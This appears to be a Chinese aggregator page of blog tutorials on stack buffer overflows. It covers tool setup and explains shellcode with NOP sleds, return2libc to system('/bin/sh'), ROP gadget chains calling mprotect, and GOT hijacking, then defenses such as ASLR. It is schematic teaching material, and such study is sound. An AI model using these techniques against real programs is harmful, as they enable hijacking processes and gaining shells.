精华内容
下载资源
问答
  • V5-305_FreeRTOS实验_任务栈溢出检测方式一 (模拟栈溢出
  • 主要介绍了java内存溢出示例(堆溢出、栈溢出),需要的朋友可以参考下
  • 基本的栈溢出攻击,是最早产生的一种缓冲区溢出攻击方法,它是所有其他缓冲区溢出攻击的基础。但是,由于这种攻击方法产生的时间比较长,故而GCC编译器、Linux操作系统提供了一些机制来阻止这种攻击方法对系统产生...
  • 栈溢出

    2021-02-03 17:24:09
    栈溢出是指在栈内写入超出长度限制的数据,从而破坏程序运行甚至获得系统控制权的攻击手段。 ​ 实现缓冲区溢出,要满足两个条件: 第一,程序要有向栈内写入数据的行为,并且写入长度要大于目标存储长度; 第二...

    缓冲区溢出

    缓冲区溢出简介

    ​ 计算机程序的运行依赖于函数调用栈。栈溢出是指在栈内写入超出长度限制的数据,从而破坏程序运行甚至获得系统控制权的攻击手段。

    ​ 实现缓冲区溢出,要满足两个条件:

    1. 第一,程序要有向栈内写入数据的行为,并且写入长度要大于目标存储长度;
    2. 第二,程序并不限制写入数据的长度

    ​ 历史上第一例被广泛注意的**“莫里斯蠕虫”病毒**就是利用C语言标准库的 gets() 函数并未限制输入数据长度的漏洞,从而实现了栈溢出。

    ​ 缓冲区溢出两种类型:

    1. 基于栈的缓冲区溢出——目标存储在栈中
    2. 基础堆的缓冲区溢出——目标存储在堆中

    ​ 缓冲区溢出导致任意代码执行——通过返回地址覆盖技术。任意代码执行导致,在目标主机上进行一些非法获权操作——生成一个root shell,打开一个新端口或者创建一个新用户。

    栈溢出

    ​ 实现栈溢出,要满足两个条件。第一,程序要有向栈内写入数据的行为;第二,程序并不限制写入数据的长度。历史上第一例被广泛注意的“莫里斯蠕虫”病毒就是利用C语言标准库的 gets() 函数并未限制输入数据长度的漏洞,从而实现了栈溢出。

    背景知识

    函数调用栈

    1. 定义:程序运行时内存一段连续的区域
    2. 作用:用来保存函数运行时的状态信息
    3. 包括:函数参数与局部变量
    4. 称之为“栈”是因为:发生函数调用时,调用函数(caller)的状态被保存在栈内,被调用函数(callee)的状态被压入调用栈的栈顶;在函数调用结束时,栈顶的函数(callee)状态被弹出,栈顶恢复到调用函数(caller)的状态。函数调用栈在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大。

    寄存器

    在这里插入图片描述

    分为通用寄存器特殊寄存器

    1. 通用寄存器:
      1. 一般寄存器e*x(a, b, c, d)
      2. 引索寄存器e*i(s, d)
    2. 特殊寄存器:可以使用MRSMSR特殊寄存器访问指令来访问特殊寄存器
      1. MRS:读特殊寄存器
      2. MSR:写特殊寄存器

    工具准备

    1. 第一步pwntools的安装

    检查kali版本

    查看linux机器是32位还是64位的方法:

     file /sbin/init 或者 file /bin/ls
    
     /sbin/init: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped
    

    如果显示 64-bit 则为64位;

     file /sbin/init
    
     /sbin/init: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped
    

    如果显示为32 bit 则为32bit;

    查看了一下,发现我的kali是64位的

    file /bin/ls
    

    在这里插入图片描述
    不同版本的ubuntu可以应对不同的glibc调试

    开始安装pwntools

    安装的命令很简单

    pip install pwntools
    

    在这里插入图片描述

    关于什么是pwntools ,官方文档中是这样说的: pwntools是一个CTF框架和漏洞利用开发库。它以Python编写,专为快速原型设计和开发而设计,旨在使漏洞利用编写尽可能简单。

    当然也可以这样:
    在中端输入下面的内容

    git clone https://github.com/Gallopsled/pwntools
    cd pwntools
    python setup.py install
    

    打开一个python的小窗口导入一下pwn试试看

    python
    from pwn import *
    asm("xor eax,eax")
    

    如果输出结果如下就说明安装成功:

    '1\xc0'
    

    在这里插入图片描述

    2.安装Capstone

    当然也是差不多的样子

    git clone https://github.com/aquynh/capstone
    cd capstone
    make
    make install
    1234
    

    在这里插入图片描述

    3.安装peda

    gdb-peda:gdb方便调试的工具,类似的工具有gef,gdbinit。
    安装也很简单

     git clone https://github.com/longld/peda.git ~/peda
     echo "source ~/peda/peda.py" >> ~/.gdbinit
    

    装完就可以方便的调试了:
    在这里插入图片描述

    常用命令

    file 文件名
    

    在这里插入图片描述

    展开全文
  • NULL 博文链接:https://ouyangfeng521.iteye.com/blog/907128
  • 经典栈溢出PPT

    2018-11-28 21:04:23
    比较简洁的栈溢出的PPT,适合新手入门使用的教程,作用相当于一篇较简短的博客!
  • 64位Linux下的栈溢出

    2014-10-05 11:43:55
    0x01 x86和x86_64的区别 0x02 漏洞代码片段 0x03 触发溢出 0x04 控制RIP 0x05 跳入用户控制的缓冲区 0x06 执行shellcode 0x07 GDB vs 现实 0x08 结语
  • 栈溢出 本质: 混淆了用户输入与栈上的元数据 产生原因: 用户输入的数据大小超过了程序预留的空间大小 利用: 覆盖返回地址 覆盖栈上的变量,例如函数指针或对象指针 基本栈溢出漏洞实例:实际演示 stack_shellcode 以...

    栈溢出

    本质: 混淆了用户输入与栈上的元数据 产生原因: 用户输入的数据大小超过了程序预留的空间大小 利用: 覆盖返回地址
    覆盖栈上的变量,例如函数指针或对象指针 基本栈溢出漏洞实例:实际演示 stack_shellcode

    python语言举例,
    在这里插入图片描述
    在这里插入图片描述
    运行报错。
    python中,函数调用一次,栈(stack)多加一层栈帧,由于栈帧的增加有上限,函数调用次数过多会导致栈溢出。(在c语言中,把数据放到缓冲区中,但没有机制来检测数据大小,数据过大则会导致溢出。)

    解决方法:

    尾递归优化

    在这里插入图片描述
    原程序return n*fact(n-1)中包含表达式,不属于尾递归方式。
    在这里插入图片描述
    优化成这样……我试了一下fact(1000)还是会报错,可能太大了(报错原因与之前相同)。
    接下来讲一下栈溢出可能的危害
    在这里插入图片描述
    (以上参考百度百科)

    栈溢出从入门到放弃(上)

    众所周知,计算机程序的运行依赖于函数调用栈。栈溢出是指在栈内写入超出长度限制的数据,从而破坏程序运行甚至获得系统控制权的攻击手段。本文将以32位x86架构下的程序为例讲解栈溢出的技术详情。
    为了实现栈溢出,要满足两个条件。第一,程序要有向栈内写入数据的行为;第二,程序并不限制写入数据的长度。如果想用栈溢出来执行攻击指令,就要在溢出数据内包含攻击指令的内容或地址,并且要将程序控制权交给该指令。攻击指令可以是自定义的指令片段,也可以利用系统内已有的函数及指令。
    背景知识:函数调用栈
    函数调用栈是指程序运行时内存一段连续的区域,用来保存函数运行时的状态信息,包括函数参数与局部变量等。称之为“栈”是因为发生函数调用时,调用函数(caller)的状态被保存在栈内,被调用函数(callee)的状态被压入调用栈的栈顶;在函数调用结束时,栈顶的函数(callee)状态被弹出,栈顶恢复到调用函数(caller)的状态。函数调用栈在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大。

    (函数调用发生和结束时调用栈的变化)

    函数状态主要涉及三个寄存器--esp,ebp,eipesp 用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。ebp
    用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。eip 用来存储即将执行的程序指令的地址,cpu
    依照 eip 的存储内容读取指令并执行,eip 随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。
    变化的核心任务是将调用函数(caller)的状态保存起来,同时创建被调用函数(callee)的状态。

    变化过程:

    首先将被调用函数(callee)的参数按照逆序依次压入栈内。如果被调用函数(callee)不需要参数,则没有这一步骤。这些参数仍会保存在调用函数(caller)的函数状态内,之后压入栈内的数据都会作为被调用函数(callee)的函数状态来保存。

    (将被调用函数的参数压入栈内)

    注:低地址在最下方,即栈顶。参数入栈是从高地址向低地址增长。最后进入的最先弹出栈!!!
    理解这个就好懂了。讲callee的参数逆序入栈,即return address最先入,然后argn->…arg1,
    arg1栈内地址最低,但处在栈顶,弹出栈肯定也是最先弹出。然后这时候要再压入参数,是从栈顶开始压入。
    然后将调用函数(caller)进行调用之后的下一条指令地址作为返回地址压入栈内。这样调用函数(caller)的 eip(指令)信息得以保存。

    (将被调用函数的返回地址压入栈内)

    再将当前的ebp 寄存器的值(也就是调用函数的基地址)压入栈内,并将 ebp 寄存器的值更新为当前栈顶的地址。这样调用函数(caller)的
    ebp(基地址)信息得以保存。同时,ebp 被更新为被调用函数(callee)的基地址。

    在这里插入图片描述
    (将调用函数的基地址(ebp)压入栈内,并将当前栈顶地址传到 ebp 寄存器内)

    再之后是将被调用函数(callee)的局部变量等数据压入栈内。
    在这里插入图片描述
    (将被调用函数的局部变量压入栈内)

    在压栈的过程中,esp
    寄存器的值不断减小(对应于栈从内存高地址向低地址生长)。压入栈内的数据包括调用参数、返回地址、调用函数的基地址,以及局部变量,其中调用参数以外的数据共同构成了被调用函数(callee)的状态。在发生调用时,程序还会将被调用函数(callee)的指令地址存到
    eip 寄存器内,这样程序就可以依次执行被调用函数的指令了。
    函数调用结束时的变化,变化的核心任务是丢弃被调用函数(callee)的状态,并将栈顶恢复为调用函数(caller)的状态。
    首先被调用函数的局部变量会从栈内直接弹出,栈顶会指向被调用函数(callee)的基地址。

    在这里插入图片描述
    (将被调用函数的局部变量弹出栈外)

    然后将基地址内存储的调用函数(caller)的基地址从栈内弹出,并存到 ebp 寄存器内。这样调用函数(caller)的
    ebp(基地址)信息得以恢复。此时栈顶会指向返回地址。

    在这里插入图片描述
    (将调用函数(caller)的基地址(ebp)弹出栈外,并存到 ebp 寄存器内)

    再将返回地址从栈内弹出,并存到 eip 寄存器内。这样调用函数(caller)的 eip(指令)信息得以恢复。

    在这里插入图片描述

    (将被调用函数的返回地址弹出栈外,并存到 eip 寄存器内)

    至此调用函数(caller)的函数状态就全部恢复了,之后就是继续执行调用函数的指令了。

    栈溢出攻击:

    当函数正在执行内部指令的过程中我们无法拿到程序的控制权,只有在发生函数调用或者结束函数调用时,程序的控制权会在函数状态之间发生跳转,这时才可以通过修改函数状态来实现攻击。而控制程序执行指令最关键的寄存器就是
    eip。所以我们的目标就是让 eip 载入攻击指令的地址。 首先,在退栈过程中,返回地址会被传给
    eip,所以我们只需要让溢出数据用攻击指令的地址来覆盖返回地址就可以了。其次,我们可以在溢出数据内包含一段攻击指令,也可以在内存其他位置寻找可用的攻击指令。

    在这里插入图片描述
    (核心目的是用攻击指令的地址来覆盖返回地址)

    再来看看函数调用发生时,如果要让 eip 指向攻击指令,需要哪些准备?这时,eip
    会指向原程序中某个指定的函数,我们没法通过改写返回地址来控制了,不过我们可以“偷梁换柱”--将原本指定的函数在调用时替换为其他函数。
    以下介绍四种方法:

    1.修改返回地址,让其指向溢出数据中的一段指令(shellcode)
    2.修改返回地址,让其指向内存中已有的某个函数(return2libc)
    3.修改返回地址,让其指向内存中已有的一段指令(ROP)
    4.修改某个被调用函数的地址,让其指向另一个函数(hijack GOT)
    
    Shellcode(修改返回地址,让其指向溢出数据中的一段指令)
    要完成的任务包括:在溢出数据内包含一段攻击指令,用攻击指令的起始地址覆盖掉返回地址。攻击指令一般都是用来打开 shell,从而可以获得当前进程的控制权,所以这类指令片段也被成为“shellcode”。shellcode 可以用汇编语言来写再转成对应的机器码,也可以上网搜索直接复制粘贴,这里就不再赘述。下面我们先写出溢出数据的组成,再确定对应的各部分填充进去。
    payload : padding1 + address of shellcode + padding2 + shellcode
    

    在这里插入图片描述
    (shellcode 所用溢出数据的构造)

    padding1 处的数据可以随意填充(注意如果利用字符串程序输入溢出数据不要包含 “\x00”
    ,否则向程序传入溢出数据时会造成截断),长度应该刚好覆盖函数的基地址。address of shellcode 是后面 shellcode
    起始处的地址,用来覆盖返回地址。padding2 处的数据也可以随意填充,长度可以任意。shellcode 应该为十六进制的机器码格式。

    根据上面的构造,我们要解决两个问题:

    1. 返回地址之前的填充数据(padding1)应该多长?
      我们可以用调试工具(例如 gdb)查看汇编代码来确定这个距离,也可以在运行程序时用不断增加输入长度的方法来试探(如果返回地址被无效地址例如“AAAA”覆盖,程序会终止并报错)。

    2. shellcode起始地址应该是多少?
      我们可以在调试工具里查看返回地址的位置(可以查看 ebp 的内容然后再加4(32位机),参见前面关于函数状态的解释),可是在调试工具里的这个地址和正常运行时并不一致,这是运行时环境变量等因素有所不同造成的。所以这种情况下我们只能得到大致但不确切的 shellcode 起始地址,解决办法是在 padding2 里填充若干长度的 “\x90”。这个机器码对应的指令是 NOP (No Operation),也就是告诉 CPU 什么也不做,然后跳到下一条指令。有了这一段 NOP 的填充,只要返回地址能够命中这一段中的任意位置,都可以无副作用地跳转到 shellcode 的起始处,所以这种方法被称为 NOP Sled(中文含义是“滑雪橇”)。这样我们就可以通过增加 NOP 填充来配合试验 shellcode 起始地址。

    操作系统可以将函数调用栈的起始地址设为随机化(这种技术被称为内存布局随机化,即Address Space Layout
    Randomization (ASLR)
    ),这样程序每次运行时函数返回地址会随机变化。反之如果操作系统关闭了上述的随机化(这是技术可以生效的前提),那么程序每次运行时函数返回地址会是相同的,这样我们可以通过输入无效的溢出数据来生成core文件,再通过调试工具在core文件中找到返回地址的位置,从而确定
    shellcode 的起始地址。

    在这里插入图片描述
    (shellcode 所用溢出数据的最终构造)
    这种方法生效的一个前提是在函数调用栈上的数据(shellcode)要有可执行的权限(另一个前提是上面提到的关闭内存布局随机化)。很多时候操作系统会关闭函数调用栈的可执行权限,这样 shellcode 的方法就失效了,不过我们还可以尝试使用内存里已有的指令或函数,毕竟这些部分本来就是可执行的,所以不会受上述执行权限的限制。这就包括 return2libcROP 两种方法。

    Return2libc(修改返回地址,让其指向内存中已有的某个函数)
    要完成的任务包括:在内存中确定某个函数的地址,并用其覆盖掉返回地址。由于 libc 动态链接库中的函数被广泛使用,所以有很大概率可以在内存中找到该动态库。同时由于该库包含了一些系统级的函数(例如 system()等),所以通常使用这些系统级函数来获得当前进程的控制权。鉴于要执行的函数可能需要参数,比如调用 system() 函数打开 shell 的完整形式为 system(“/bin/sh”) ,所以溢出数据也要包括必要的参数。下面就以执行 system(“/bin/sh”)为例,先写出溢出数据的组成,再确定对应的各部分填充进去。

    payload: padding1 + address of system() + padding2 + address of “/bin/sh”
    

    在这里插入图片描述
    (return2libc 所用溢出数据的构造)

    padding1 处的数据可以随意填充(注意不要包含 “\x00”
    ,否则向程序传入溢出数据时会造成截断),长度应该刚好覆盖函数的基地址。address of system() 是 system() 在内存中的地址,用来覆盖返回地址。padding2 处的数据长度为4(32位机),对应调用 system()时的返回地址。因为我们在这里只需要打开 shell 就可以,并不关心从 shell 退出之后的行为,所以 padding2 的内容可以随意填充。address of “/bin/sh” 是字符串 “/bin/sh” 在内存中的地址,作为传给 system() 的参数。

    根据上面的构造,我们要解决两个问题:

    1. 返回地址之前的填充数据(padding1)应该多长? 我们可以用调试工具(例如 gdb)查看汇编代码来确定这个距离,也可以在运行程序时用不断增加输入长度的方法来试探(如果返回地址被无效地址例如“AAAA”覆盖,程序会终止并报错)。

    2. system() 函数地址应该是多少? 要回答这个问题,就要看看程序是如何调用动态链接库中的函数的。当函数被动态链接至程序中,程序在运行时首先确定动态链接库在内存的起始地址,再加上函数在动态库中的相对偏移量,最终得到函数在内存的绝对地址。说到确定动态库的内存地址,就要回顾一下
      shellcode 中提到的内存布局随机化(ASLR),这项技术也会将动态库加载的起始地址做随机化处理。所以,如果操作系统打开了
      ASLR,程序每次运行时动态库的起始地址都会变化,也就无从确定库内函数的绝对地址。在 ASLR
      被关闭的前提下,我们可以通过调试工具在运行程序过程中直接查看 system()
      的地址,也可以查看动态库在内存的起始地址,再在动态库内查看函数的相对偏移位置,通过计算得到函数的绝对地址。

    最后,“/bin/sh” 的地址在哪里?
    可以在动态库里搜索这个字符串,如果存在,就可以按照动态库起始地址+相对偏移来确定其绝对地址。如果在动态库里找不到,可以将这个字符串加到环境变量里,再通过 getenv() 等函数来确定地址。解决完上述问题,我们就可以拼接出溢出数据,输入至程序来通过 system() 打开 shell 了。

    小结一下,两种方法都是通过覆盖返回地址来执行输入的指令片段(shellcode)或者动态库中的函数(return2libc)。需要指出的是,这两种方法都需要操作系统关闭内存布局随机化(ASLR),而且 shellcode 还需要程序调用栈有可执行权限。

    栈溢出从入门到放弃(下)

    相关知识:

    1.	寄存器
    

    32位x86架构下的寄存器可以被简单分为通用寄存器和特殊寄存器两类,通用寄存器在大部分汇编指令下是可以任意使用的(虽然有些指令规定了某些寄存器的特定用途),而特殊寄存器只能被特定的汇编指令使用,不能用来任意存储数据。
    32位x86架构下的通用寄存器包括一般寄存器(eax、ebx、ecx、edx),索引寄存器(esi、edi),以及堆栈指针寄存器(esp、ebp)。
    一般寄存器用来存储运行时数据,是指令最常用到的寄存器,除了存放一般性的数据,每个一般寄存器都有自己较为固定的独特用途。eax
    被称为累加寄存器(Accumulator),用以进行算数运算和返回函数结果等。ebx
    被称为基址寄存器(Base),在内存寻址时(比如数组运算)用以存放基地址。ecx
    被称为记数寄存器(Counter),用以在循环过程中记数。edx 被称为数据寄存器(Data),常配合 eax 一起存放运算结果等数据。
    索引寄存器通常用于字符串操作中,esi 指向要处理的数据地址(Source Index),edi
    指向存放处理结果的数据地址(Destination Index)。
    堆栈指针寄存器(esp、ebp)用于保存函数在调用栈中的状态,上篇已有详细的介绍。
    32位x86架构下的特殊寄存器包括段地址寄存器(ss、cs、ds、es、fs、gs),标志位寄存器(EFLAGS),以及指令指针寄存器(eip)。
    现代操作系统内存通常是以分段的形式存放不同类型的信息的。我们在上篇谈及的函数调用栈就是分段的一个部分(Stack
    Segment)。内存分段还包括堆(Heap Segment)、数据段(Data Segment),BSS段,以及代码段(Code
    Segment)。代码段存储可执行代码和只读常量(如常量字符串),属性可读可执行,但通常不可写。数据段存储已经初始化且初值不为0的全局变量和静态局部变量,BSS段存储未初始化或初值为0的全局变量和静态局部变量,这两段数据都有可写的属性。堆用于存放程序运行中动态分配的内存,例如C语言中的
    malloc() 和 free() 函数就是在堆上分配和释放内存。各段在内存的排列如下图所示。

    在这里插入图片描述
    (内存分段的典型布局)

    段地址寄存器就是用来存储内存分段地址的,其中寄存器 ss 存储函数调用栈(Stack Segment)的地址,寄存器 cs
    存储代码段(Code Segment)的地址,寄存器 ds 存储数据段(Data Segment)的地址,es、fs、gs
    是附加的存储数据段地址的寄存器。

    标志位寄存器(EFLAGS)32位中的大部分被用于标志数据或程序的状态,例如 OF(Overflow
    Flag)对应数值溢出、IF(Interrupt Flag)对应中断、ZF(Zero Flag)对应运算结果为0、CF(Carry
    Flag)对应运算产生进位等等。 指令指针寄存器(eip)存储下一条运行指令的地址,上篇已有详细的介绍。

    2.	汇编指令
    

    32位x86架构下的汇编语言有 Intel 和 AT&T 两种格式,本文所用汇编指令都是 Intel 格式。两者最主要的差别如下。
    Intel 格式,寄存器名称和数值前无符号: “指令名称 目标操作数 DST,源操作数 SRC” AT&T
    格式,寄存器名称前加“%”,数值前加“$”: “指令名称 源操作数 SRC,目标操作数 DST” 一些最常用的汇编指令如下:

    • MOV:数据传输指令,将 SRC 传至 DST,格式为 MOV DST, SRC; • PUSH:压入堆栈指令,将 SRC压入栈内,格式为 PUSH SRC; • POP:弹出堆栈指令,将栈顶的数据弹出并存至 DST,格式为 POP DST;
    • LEA:取地址指令,将 MEM 的地址存至 REG ,格式为 LEA REG, MEM;
    • ADD/SUB:加/减法指令,将运算结果存至 DST,格式为 ADD/SUB DST, SRC;
    • AND/OR/XOR:按位与/或/异或,将运算结果存至 DST ,格式为 AND/OR/XOR DST,SRC;
    • CALL:调用指令,将当前的 eip 压入栈顶,并将 PTR 存入 eip,格式为 CALL PTR;
    • RET:返回指令,操作为将栈顶数据弹出至 eip,格式为 RET; 介绍完以上背景知识,就可以继续栈溢出技术之路了。

    ROP ( Return Oriented Programming )
    

    ——修改返回地址,让其指向内存中已有的一段指令
    在内存中确定某段指令的地址,并用其覆盖返回地址。可是既然可以覆盖返回地址并定位到内存地址,为什么不直接用上篇提到的 return2libc
    呢?因为有时目标函数在内存内无法找到,有时目标操作并没有特定的函数可以完美适配。这时就需要在内存中寻找多个指令片段,拼凑出一系列操作来达成目的。假如要执行某段指令(我们将其称为“gadget”,意为小工具),溢出数据应该以下面的方式构造(padding
    长度和内容的确定方式参见上篇):

    payload : padding + address of gadget
    

    在这里插入图片描述
    (包含单个 gadget 的溢出数据)

    如果想连续执行若干段指令,就需要每个 gadget 执行完毕可以将控制权交给下一个 gadget。所以 gadget 的最后一步应该是
    RET 指令,这样程序的控制权(eip)才能得到切换,所以这种技术被称为返回导向编程( Return Oriented
    Programming )。要执行多个 gadget,溢出数据应该以下面的方式构造:

    payload : padding + address of gadget 1 + address of gadget 2 + ...... 
    + address of gadget n
    

    在这样的构造下,被调用函数返回时会跳转执行 gadget 1,执行完毕时 gadget 1 的 RET 指令会将此时的栈顶数据(也就是 gadget 2 的地址)弹出至 eip,程序继续跳转执行 gadget 2,以此类推。
    在这里插入图片描述
    (包含多个 gadget 的溢出数据)

    现在任务可以分解为:针对程序栈溢出所要实现的效果,找到若干段以 ret 作为结束的指令片段,按照上述的构造将它们的地址填充到溢出数据中。所以我们要解决以下几个问题。

    首先,栈溢出之后要实现什么效果?
    

    ROP 常见的拼凑效果是实现一次系统调用,Linux系统下对应的汇编指令是 int 0x80。执行这条指令时,被调用函数的编号应存入
    eax,调用参数应按顺序存入 ebx,ecx,edx,esi,edi 中。例如,编号125对应函数 mprotect (void
    *addr, size_t len, int prot) ,可用该函数将栈的属性改为可执行,这样就可以使用 shellcode 了。假如我们想利用系统调用执行这个函数,eax、ebx、ecx、edx
    应该分别为“125”、内存栈的分段地址(可以通过调试工具确定)、“0x10000”(需要修改的空间长度,也许需要更长)、“7”(RWX
    权限)。

    其次,如何寻找对应的指令片段?
    

    有若干开源工具可以实现搜索以 ret 结尾的指令片段,著名的包括 ROPgadget、rp++、ropeme 等,甚至也可以用 grep
    等文本匹配工具在汇编指令中搜索 ret 再进一步筛选。搜索的详细过程在这里就不再赘述,有兴趣的同学可以参考上述工具的说明文档。

    最后,如何传入系统调用的参数?
    

    对于上面提到的 mprotect 函数,我们需要将参数传输至寄存器,所以可以用 pop
    指令将栈顶数据弹入寄存器。如果在内存中能找到直接可用的数据,也可以用 mov 指令来进行传输,不过写入数据再 pop 要比先搜索再 mov
    来的简单,对吧?如果要用 pop 指令来传输调用参数,就需要在溢出数据内包含这些参数,所以上面的溢出数据格式需要一点修改。对于单个
    gadget,pop 所传输的数据应该在 gadget 地址之后,如下图所示。

    在这里插入图片描述
    (gadget “pop eax; ret;”)

    在调用 mprotect() 为栈开启可执行权限之后,我们希望执行一段 shellcode,所以要将 shellcode
    也加入溢出数据,并将 shellcode 的开始地址加到 int 0x80 的 gadget之后。但确定 shellcode
    在内存的确切地址是很困难的事(想起上篇里面艰难试探的过程了吗?),我们可以使用 push esp 这个 gadget(加入可以找到的话)。

    在这里插入图片描述
    (gadget “push esp; ret;”)
    我们假设现在内存中可以找到如下几条指令:

    pop eax; ret;    # pop stack top into eax
    pop ebx; ret;    # pop stack top into ebx
    pop ecx; ret;    # pop stack top into ecx
    pop edx; ret;    # pop stack top into edx
    int 0x80; ret;   # system call
    push esp; ret;   # push address of shellcode
    

    对于所有包含 pop 指令的 gadget,在其地址之后都要添加 pop 的传输数据,同时在所有 gadget 最后包含一段 shellcode,最终溢出数据结构应该变为如下格式。

    payload : padding + address of gadget 1 + param for gadget 1 + address of gadget 2 + param for gadget 2 + ...... + address of gadget n + shellcode
    

    在这里插入图片描述
    (包含多个 gadget 的溢出数据(修改后))
    此处为了简单,先假定输入溢出数据不受“\x00"字符的影响,所以 payload 可以直接包含 “\x7d\x00\x00\x00”(传给 eax 的参数125)。如果希望实现更为真实的操作,可以用多个 gadget 通过运算得到上述参数。比如可以通过下面三条 gadget 来给 eax 传递参数。

    pop eax; ret;         # pop stack top 0x1111118e into eax
    pop ebx; ret;         # pop stack top 0x11111111 into ebx
    sub eax, ebx; ret;    # eax -= ebx
    

    解决完上述问题,我们就可以拼接出溢出数据,输入至程序来为程序调用栈开启可执行权限并执行 shellcode。同时,由于 ROP 方法带来的灵活性,现在不再需要痛苦地试探 shellcode 起始地址了。回顾整个输入数据,只有栈的分段地址需要获取确定地址。如果利用 gadget 读取 ebp 的值再加上某个合适的数值,就可以保证溢出数据都具有可执行权限,这样就不再需要获取确切地址,也就具有了绕过内存随机化的可能。
    出于演示的目的,我们假设(简直是钦点)了所有需要的 gadget 的存在。在实际搜索及拼接 gadget 时,并不会像上面一样顺利,有两个方面需要注意。
    很多时候并不能一次凑齐全部的理想指令片段,这时就要通过数据地址的偏移、寄存器之间的数据传输等方法来“曲线救国”。举个例子,假设找不到下面这条

    gadget
    pop ebx; ret; 
    

    但假如可以找到下面的 gadget

    mov ebx, eax; ret;
    

    我们就可以将它和

    pop eax; ret; 
    

    组合起来实现将数据传输给 ebx 的功能。上面提到的用多个 gadget 避免输入“\x00”也是一个实例应用

    第二,要小心 gadget 是否会破坏前面各个 gadget 已经实现的部分,比如可能修改某个已经写入数值的寄存器。另外,要特别小心
    gadget 对 ebp 和 esp 的操作,因为它们的变化会改变返回地址的位置,进而使后续的 gadget 无法执行。

    Hijack GOT(修改某个被调用函数的地址,让其指向另一个函数)
    要完成的任务包括:在内存中修改某个函数的地址,使其指向另一个函数。为了便于理解,不妨假设修改 printf() 函数的地址使其指向
    system(),这样修改之后程序内对 printf() 的调用就执行 system()
    函数。要实现这个过程,我们就要弄清楚发生函数调用时程序是如何“找到”被调用函数的。

    程序对外部函数的调用需要在生成可执行文件时将外部函数链接到程序中,链接的方式分为静态链接和动态链接。静态链接得到的可执行文件包含外部函数的全部代码,动态链接得到的可执行文件并不包含外部函数的代码,而是在运行时将动态链接库(若干外部函数的集合)加载到内存的某个位置,再在发生调用时去链接库定位所需的函数。
    可程序是如何在链接库内定位到所需的函数呢?这个过程用到了两张表--GOT 和 PLT。GOT 全称是全局偏移量表(Global Offset
    Table),用来存储外部函数在内存的确切地址。GOT 存储在数据段(Data Segment)内,可以在程序运行中被修改。PLT
    全称是程序链接表(Procedure Linkage Table),用来存储外部函数的入口点(entry),换言之程序总会到 PLT
    这里寻找外部函数的地址。PLT 存储在代码段(Code Segment)内,在运行之前就已经确定并且不会被修改,所以 PLT
    并不会知道程序运行时动态链接库被加载的确切位置。那么 PLT 表内存储的入口点是什么呢?就是 GOT 表中对应条目的地址。

    在这里插入图片描述
    (PLT 和 GOT 表)

    外部函数的内存地址存储在 GOT 而非 PLT 表内,PLT 存储的入口点又指向 GOT 的对应条目,那么程序为什么选择 PLT 而非
    GOT 作为调用的入口点呢?在程序启动时确定所有外部函数的内存地址并写入 GOT 表,之后只使用 GOT
    表不是更方便吗?这样的设计是为了程序的运行效率。GOT 表的初始值都指向 PLT
    表对应条目中的某个片段,这个片段的作用是调用一个函数地址解析函数。当程序需要调用某个外部函数时,首先到 PLT 表内寻找对应的入口点,跳转到
    GOT 表中。如果这是第一次调用这个函数,程序会通过 GOT 表再次跳转回 PLT 表,运行地址解析程序来确定函数的确切地址,并用其覆盖掉
    GOT 表的初始值,之后再执行函数调用。当再次调用这个函数时,程序仍然首先通过 PLT 表跳转到 GOT 表,此时 GOT
    表已经存有获取函数的内存地址,所以会直接跳转到函数所在地址执行函数。整个过程如下面两张图所示。

    在这里插入图片描述
    (第一次调用函数时解析函数地址并存入 GOT 表)
    在这里插入图片描述
    (再次调用函数时直接读取 GOT 内的地址)

    上述实现遵循的是一种被称为 LAZY
    的设计思想,它将需要完成的操作(解析外部函数的内存地址)留到调用实际发生时才进行,而非在程序一开始运行时就解析出全部函数地址。这个过程也启示了我们如何实现函数的伪装,那就是到
    GOT 表中将函数 A 的地址修改为函数 B 的地址。这样在后面所有对函数 A 的调用都会执行函数 B。
    那么我们的目标可以分解为如下几部分:确定函数 A 在 GOT 表中的条目位置,确定函数 B 在内存中的地址,将函数 B 的地址写入函数 A
    在 GOT 表中的条目。 首先,如何确定函数 A 在 GOT 表中的条目位置? 程序调用函数时是通过 PLT 表跳转到 GOT
    表的对应条目,所以可以在函数调用的汇编指令中找到 PLT 表中该函数的入口点位置,从而定位到该函数在 GOT 中的条目。 例如

    call 0x08048430 <printf@plt>
    

    就说明 printf 在 PLT 表中的入口点是在 0x08048430,所以 0x08048430 处存储的就是 GOT 表中 printf 的条目地址。

    其次,如何确定函数 B 在内存中的地址?
    

    如果系统开启了内存布局随机化,程序每次运行动态链接库的加载位置都是随机的,就很难通过调试工具直接确定函数的地址。假如函数 B
    在栈溢出之前已经被调用过,我们当然可以通过前一个问题的答案来获得地址。但我们心仪的攻击函数往往并不满足被调用过的要求,也就是 GOT
    表中并没有其真实的内存地址。幸运的是,函数在动态链接库内的相对位置是固定的,在动态库打包生成时就已经确定。所以假如我们知道了函数 A
    的运行时地址(读取 GOT 表内容),也知道函数 A 和函数 B 在动态链接库内的相对位置,就可以推算出函数 B 的运行时地址。

    最后,如何实现 GOT 表中数据的修改?
    

    很难找到合适的函数来完成这一任务,不过我们还有强大的 ROP(DIY大法好)。假设我们可以找到以下若干条
    gadget(继续钦点),就不难改写 GOT 表中数据,从而实现函数的伪装。

    pop eax; ret; 		# printf@plt -> eax
    mov ebx [eax]; ret;	# printf@got -> ebx
    pop ecx; ret; 		# addr_diff = system - printf -> ecx
    add [ebx] ecx; ret; 	# printf@got += addr_diff
    

    从修改 GOT 表的过程可以看出,这种方法也可以在一定程度上绕过内存随机化。

    防御措施:
    介绍过几种栈溢出的基础方法,我们再来补充一下操作系统内有哪些常见的措施可以进行防御。首先,通常情况下程序在默认编译设置下都会取消栈上数据的可执行权限,这样简单的
    shellcode
    溢出攻击就无法实现了。其次,可以在操作系统内开启内存布局随机化(ASLR),这样可以增大确定堆栈内数据和动态库内函数的内存地址的难度。编译程序时还可以设置某些编译选项,使程序在运行时会在函数栈上的
    ebp
